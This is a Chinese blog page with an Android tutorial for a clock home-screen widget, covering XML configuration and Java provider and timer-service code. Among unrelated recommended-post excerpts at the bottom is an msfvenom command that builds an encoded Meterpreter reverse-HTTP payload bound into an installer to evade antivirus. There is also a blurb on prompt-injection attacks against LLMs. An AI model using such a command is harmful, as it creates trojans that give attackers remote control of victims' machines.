Android学习笔记_33_Widget时钟(MetaData)

【信息科学与工程学】【产品体系】计算机科学与自动化——第一百八十九篇 操作系统内核(微内核/宏内核)函数与算法02 宏内核(Linux)更多典型内核函数/算法,从编号271开始,覆盖中断管理、热插拔、PCI、ACPI、固件、崩溃转储、kexec、休眠、watchdog、RTC、hwmon、LED、backlight、input子系统、remoteproc等更多领域。编号类型领域内核类型内核中的函数/算法/模块/模组模块的调用关系模块/函数/算法逐步推理思考的数学表达式及参数列表及参数数值设计模块的C/C++/其他代码关联知识271中断管理中断描述符宏内核 / (中断子系统核心)驱动申请中断 → → → 分配irq_ 阅读详情

Widgets在文档docs\guide\topics\appwidgets\index.html下

     Android中AppWidget的分析与应用:AppWidgetProvider

  一、在 AndroidManifest.xml文件中配置Widgets:

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.widget"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="17" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <receiver android:name=".TimeWidgetProvider" >
            <intent-filter>
                <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
            </intent-filter>
            <meta-data
                android:name="android.appwidget.provider"
                android:resource="@xml/timewidget_info" />
        </receiver>
        <service android:name=".TimerService"></service>
    </application>

</manifest>

  二、在项目的res目录下建立xml目录,并且创建 timewidget_info.xml 文件,内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<appwidget-provider xmlns:android="http://schemas.android.com/apk/res/android"
    android:initialLayout="@layout/time_appwidget"
    android:minHeight="40dp"
    android:minWidth="40dp"
    android:updatePeriodMillis="0" />

  三、在layout文件夹下建立文件time_appwidget.xml:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical" 
    android:background="@drawable/rectangle"
    >
    
    <TextView 
         android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:id="@+id/textView"
        android:text="current time"
        />

</LinearLayout>

  四、在drawable文件夹下建立rectangle.xml文件(这部可以省略,主要是为了美化TextView控件,渐变效果):

<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
    android:shape="rectangle" >

    <!-- 设置弧度 -->
    <corners android:radius="9dp" />

    <gradient
        android:angle="270"
        android:endColor="#5EADF4"
        android:startColor="#B3F0FF" />

    <padding
        android:bottom="5dp"
        android:left="5dp"
        android:right="5dp"
        android:top="5dp" />

    <stroke
        android:dashGap="1dp"
        android:dashWidth="10dp"
        android:width="6dp"
        android:color="#0000FF" />

</shape>

  五、后台代码实现:

package com.example.widget;

import android.appwidget.AppWidgetManager;
import android.appwidget.AppWidgetProvider;
import android.content.Context;
import android.content.Intent;

public class TimeWidgetProvider extends AppWidgetProvider {

    @Override
    public void onUpdate(Context context, AppWidgetManager appWidgetManager,
            int[] appWidgetIds) {
        super.onUpdate(context, appWidgetManager, appWidgetIds);
    }

    //当一个Widgets时会被调用
    public void onDeleted(Context context, int[] appWidgetIds) {
        // TODO Auto-generated method stub
        super.onDeleted(context, appWidgetIds);
    }

    //第一次往桌面添加Widgets时会被调用,之后添加同类型Widgets不会被调用
    public void onEnabled(Context context) {
        context.startService(new Intent(context, TimerService.class));
    }

    //从桌面上删除最后一个Widgets时会被调用
    public void onDisabled(Context context) {
        context.stopService(new Intent(context, TimerService.class));
    }

}

 

package com.example.widget;

import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Timer;
import java.util.TimerTask;

import android.annotation.SuppressLint;
import android.app.Service;
import android.appwidget.AppWidgetManager;
import android.content.ComponentName;
import android.content.Intent;
import android.os.IBinder;
import android.widget.RemoteViews;

public class TimerService extends Service {
    private Timer timer;
    
    @Override
    public void onCreate() {    
        super.onCreate();
        timer = new Timer();
        timer.schedule(new MyTimerTask(), 0, 1000);
    }
    private final class MyTimerTask extends TimerTask{
        @SuppressLint("SimpleDateFormat")
        @Override
        public void run() {
            SimpleDateFormat sdf= new SimpleDateFormat("hh:mm:ss");
            String time = sdf.format(new Date());
            //获取Widgets管理器
              AppWidgetManager widgetManager =AppWidgetManager.getInstance(getApplicationContext());
            //widgetManager所操作的Widget对应的远程视图即当前Widget的layout文件
              RemoteViews remoteView = new RemoteViews(getPackageName(), R.layout.time_appwidget);
            remoteView.setTextViewText(R.id.textView, time);
            //当点击Widgets时触发的世界
            //remoteView.setOnClickPendingIntent(viewId, pendingIntent)
            ComponentName componentName = new  ComponentName(getApplicationContext(),TimeWidgetProvider.class);
            widgetManager.updateAppWidget(componentName, remoteView);
        }
    }

    @Override
    public void onDestroy() {
        timer.cancel();
        timer=null;
        super.onDestroy();
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

}

 

 

安卓桌面时钟Widget实战开发项目 Android Widget是一种小型应用程序组件,它提供了一种方便的方式来向用户展示信息或直接与用户交互,而无需打开完整的应用程序。Widget服务可使用户快速访问常用功能,如天气、时钟、新闻头条等。在Android系统中,AlarmManager是一个能够使您在将来某个特定时间唤醒设备的系统服务。这对于需要定时执行任务的应用而言是必不可少的。AlarmManager对于App Widget的定时更新机制尤其重要,因为它能够在不需要唤醒应用程序的情况下唤醒Widget。 阅读详情

相关推荐

安卓桌面时钟widget代码

安卓桌面时钟widget工程代码包,widget有大字时钟和年月日星期显示,点击widget打开nubia时间管理应用,可以替换为其他时钟应用

利用widget实现一个时钟功能小插件

利用widget实现一个时钟功能小插件 一般来说 widget 程序由以下部分组成: a. AppWidgetProvider 的实现  b. widget外观布局定义文件 c. widget 参数配置文件  d.服务的实现 e.androidManifest.xml文件配置 a.写一个类继承AppWidgetProvider pub

LUFANZHENG的专栏 2784

机器人关节电机发热难题:从工程化角度拆解热管理解决方案(下)

摘要:本文系统分析了机器人关节电机与驱动系统的热管理方案,重点解决局部热点问题。针对不同功率场景提出了热管/均热板散热(适用于中小功率)和液冷散热(适用于高功率)的具体实施方案,详细比较了结构参数、材料选择、安装工艺和散热效果。特别强调了电机-驱动协同热管理的重要性,提出"工况联动+热路径共享"的核心理念,包括一体化散热结构设计和动态控制策略。最后介绍了热仿真与测试验证方法,确保方案的有效落地。通过系统级热管理,可显著降低温升(热点区域降温30-60℃),同时优化体积和能耗。

bother3000的博客 3329

【Launcher延伸】窗口小部件Widget及时钟实例

    前言    App Widget意为应用程序窗口小部件,可作为AppWidgetHostView(内部根据RemoteViews进行了重现)出现在其它应用程序(该程序中使用AppWidgetHost管理)中,作为其视图的一部分展示。且系统会定期发出自动更新信息更新Widget,当然,用户也可使用AppWidgetManager手动进行更新。Widget作为交互的一部分可满足应用在后台时占据...

乌啼夜的酒痕 2043

Matlab实战:水声信号DEMON谱分析从入门到精通(附完整源码)

本文详细介绍了使用Matlab进行水声信号DEMON谱分析的完整流程,从基础理论到实战应用,涵盖信号预处理、包络提取、频谱分析等关键步骤,并附完整源码。特别针对水声通信中的低信噪比环境,提供了多种优化方案和性能提升技巧,帮助读者快速掌握这一水下目标检测的核心技术。

gamma的博客 296

Prompt Airlines CTF通关实战:从提示词注入到多模态攻击的AI安全攻防演练

提示词注入(Prompt Injection)是当前大语言模型(LLM)应用面临的核心安全威胁之一,其原理在于攻击者通过精心构造的用户输入,覆盖或绕过系统预设的指令,从而操控模型行为。这种攻击手法的技术价值在于揭示了AI系统在理解与执行指令时存在的逻辑边界模糊性,可能导致数据泄露、越权访问等严重风险。在应用场景上,从基础的客服对话到结合视觉识别的多模态系统,都可能成为攻击面。本文以一场名为“Prompt Airlines CTF”的实战挑战为例,深入剖析了包括指令遗忘、上下文注入、工具调用滥用及多模态提示注

aodan5477的博客 517

我的Android进阶之旅------>Android Widget 桌面数字时钟(DigtalClockWidget)实例

step1:新建项目DigtalClockWidget,并将显示时间的图片导入到drawable文件夹目录下: 各个图片如下: step2:编写Widget的UI界面 a. /xml/appwidget_provider.xml &lt;?xml vers...

移动编程 380

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】

准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ...

AA8j的博客 7649

Simple-Clock编译与二次开发教程:从Gradle源码构建到21款主题换肤定制

Simple-Clock(Simple Clock)是一款开源 Android 时钟应用,集时钟、闹钟、秒表、计时器与桌面小组件于一体,全程无广告。本教程面向新手,带你完成 Simple-Clock 的 Gradle 源码构建,并掌握它的 21 款主题换肤定制与二次开发要点。 [![Simple-Clock 时钟应用官方特色图,展示闹钟与世界时钟界面](https://raw.gitcode.c

gitblog_00877的博客 346

Jetson工业级应用指南:用Orin NX 16GB打造多摄像头AI质检系统

本文详细介绍了如何利用NVIDIA Jetson Orin NX 16GB构建高效的多摄像头AI质检系统,涵盖硬件选型、软件优化及产线部署全流程。通过100 TOPS的AI算力和多路视频处理能力,Orin NX在工业4.0时代展现出卓越的实时缺陷检测性能,特别适合嵌入式AI应用场景。

Pepper的专栏 307

【AUTOSAR-DCM】-3.1-将CDD导入CFG并查看$22服务配置变化(UDS诊断DID带一个Data)

案例背景:(共8页精讲) 在《【UDS诊断描述文件CDD】-3.2-编辑CDD给$22服务创建一个带一个Data的DID(dataIdentifier)数据标识符》中,适应使用CANdela Studio在CDD中创建一个带一个Data的DID(dataIdentifier)数据标识符,见图0-1。现在我们将该CDD文件导入到CFG(DaVinci Configurator),看看配置会发生哪些变化。 图0-1 目录 1 将诊断描述文件CDD导入CFG(DaVinci Configurator.

「汽车电子助手」的博客 1633

Android时钟的widget【安卓进化三十七】

前段时间解决一个widget的bug,具体分析是“appWidgetManager.updateAppWidget(THIS_APPWIDGET, views);”这个方法updateAppWidget()在恢复出厂设置后不更新了,我就查原因,结果通过log的验证发现时sdk的bug: step 1: public void updateAppWidget(int[] appWidgetId...

dowhathowtodo 287

【Dify系列教程重置精品版】第二章:在Windows上部署Dify

让我们的电脑允许使用Linux系统。有点兴奋是怎么回事?简单来说就是让你的电脑拥有另一个叫做Linux的系统。3.选择“适用于Linux的Windows子系统”与 “虚拟机平台”与“Hyper-V"第1章:安装 wsl (Windows Subsystem for Linux)上一章我们聊了什么是Dify,这一章我们讲一下怎么才能用Dify。好了,我们的环境部署好了,下一章我们正式进入Dify。下载完成后,我们直接一直无脑下一步,安装即可。完成上述步骤,我们就可以开始安装wsl了。我们的虚拟化也是开启的。

xiezhipu的博客 867

Android Widget小组件开发(一)——Android实现时钟Widget组件的步骤开发,这些知识也是必不可少的!...

Android Widget小组件开发(一)——Android实现时钟Widget组件的步骤开发,这些知识也是必不可少的! PS:学习自某网站(不打广告) 这个小组件相信大家都很熟悉吧,以前的墨迹天气的时候我也经常用,现在好像很少有软件用了,个人感觉吧…他对于一个用户而言来说是十分方便,快捷的,而且我们可以定制一些各种各...

weixin_34186950的博客 771

【AI Agent 记忆共享实战】【下篇】多 Agent 会话 Session 统一共享实战:全链路工程落地、采集归一、MCP 服务、私有化部署、源码级实战

中篇我们已经锁定最终最优架构方案: 非侵入式、外部旁路采集、只读归一、中心化存储、MCP 按需检索注入。摒弃「改 Agent 源码」「软链接互通」「原生 Session 互导」等不现实方案。本篇直接落地可上线、可简历复用、可个人私有化部署多 Agent 异构 Session专属采集器(Claude/CODex/DSH/OpenCode/Kimi/WorkBuddy/ 豆包)统一消息归一化解析层(解决所有 Schema 异构)增量同步、去重、时间戳对齐核心逻辑。

十年老程序猿,AI 疯狂研究专家,前沿硬核知识分享 483

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

android 时钟控件风格,android实现widget时钟示例分享

一、在 AndroidManifest.xml文件中配置Widgets:package="com.example.widget"android:versionCode="1"android:versionName="1.0" >android:minSdkVersion="8"android:targetSdkVersion="17" />android:allowBackup="tr...

weixin_39923599的博客 448

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

android widget桌面时钟

import java.util.Date; import android.appwidget.AppWidgetManager; import android.appwidget.AppWidgetProvider; import android.content.Context; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.graphics.Matri

蓝蓝的天 5272

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

时钟widget

要做一个时钟widget如图所示widget开发已经做过了很简单.很自然的方式在service里用Timer做个定时刷新就好了 timer.schedule(new TimerTask() { @Override public void run() { updateView(); }

lucky9322的专栏 927

TextView selector 在LinearLayout中获取焦点问题

通常需要修改textview被选中时文字颜色,总是没效果,有以下几种方式可以实现: xml version="1.0" encoding="utf-8"?> selector xmlns:android="http://schemas.android.com/apk/res/android"> item android:state_pressed="true" android:

Fenice 2345

Android图片轮播 ViewPager ImageView

1、对其进行了封装,只需要

Fenice 2212

Android学习笔记_23_服务Service之AIDL和远程服务实现进程通信以及进程间传递自定义类型参数

一、了解AIDL语言:   在Android中, 每个应用程序都有自己的进程,当需要在不同的进程之间传递对象时,该如何实现呢? 显然, Java中是不支持跨进程内存共享的。因此要传递对象, 需要把对象解析成操作系统能够理解的数据格式, 以达到跨界对象访问的目的。在JavaEE中,采用RMI通过序列化传递对象。在Android中, 则采用AIDL(Android Interface Definit

Fenice 1947

Android学习笔记_9_SQLiteOpenHelper对象之数据库增删改查以及事务回滚操作

一、SQLite数据库:   在Android平台上,集成了一个嵌入式关系型数据库—SQLite,SQLite3支持 NULL、INTEGER、REAL(浮点数字)、TEXT(字符串文本)和BLOB(二进制对象)数据类型,虽然它支持的类型只有五种,但实际上sqlite3也接受varchar(n)、char(n)、decimal(p,s) 等数据类型,只不过在运算或保存时会转成对应的五种数据类型。

Fenice 1912

Android学习笔记_48_若水新闻客户端源码剖析

<!-- .content{ font-weight:700; } .content .width99,.content .content_title { border: 0px; border-top-left-radius: 4px; border-top-right-radius: 4px; border-bottom-right-radius: 4px; bord

Fenice 1887

Android学习笔记_31_通过后台代码生成View对象以及动态加载XML布局文件到LinearLayout

一、布局文件part.xml: RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:l

Fenice 1856

Android学习笔记_12_网络通信之从web获取资源数据到Android

从web获取图片信息,并显示到android的imageView控件。   一、添加网络访问权限。 uses-permission android:name="android.permission.INTERNET"/>   二、界面布局及activity的实现: RelativeLayout xmlns:android="http://schemas.android.com/

Fenice 1314

Android学习笔记_47_SIM卡介绍

一、判断SIM卡属于哪个移动运营商   1、第一种方法:获取手机的IMSI码,并判断是中国移动\中国联通\中国电信 TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); /** 获取SIM卡的IMSI码 * SIM

Fenice 1278
上一篇: Android学习笔记_32_通过WebView实现JS代码与Java代码互相通信
下一篇: Android学习笔记_34_自定义窗口标题
乐由心起
博客等级 码龄16年 61粉丝 295原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值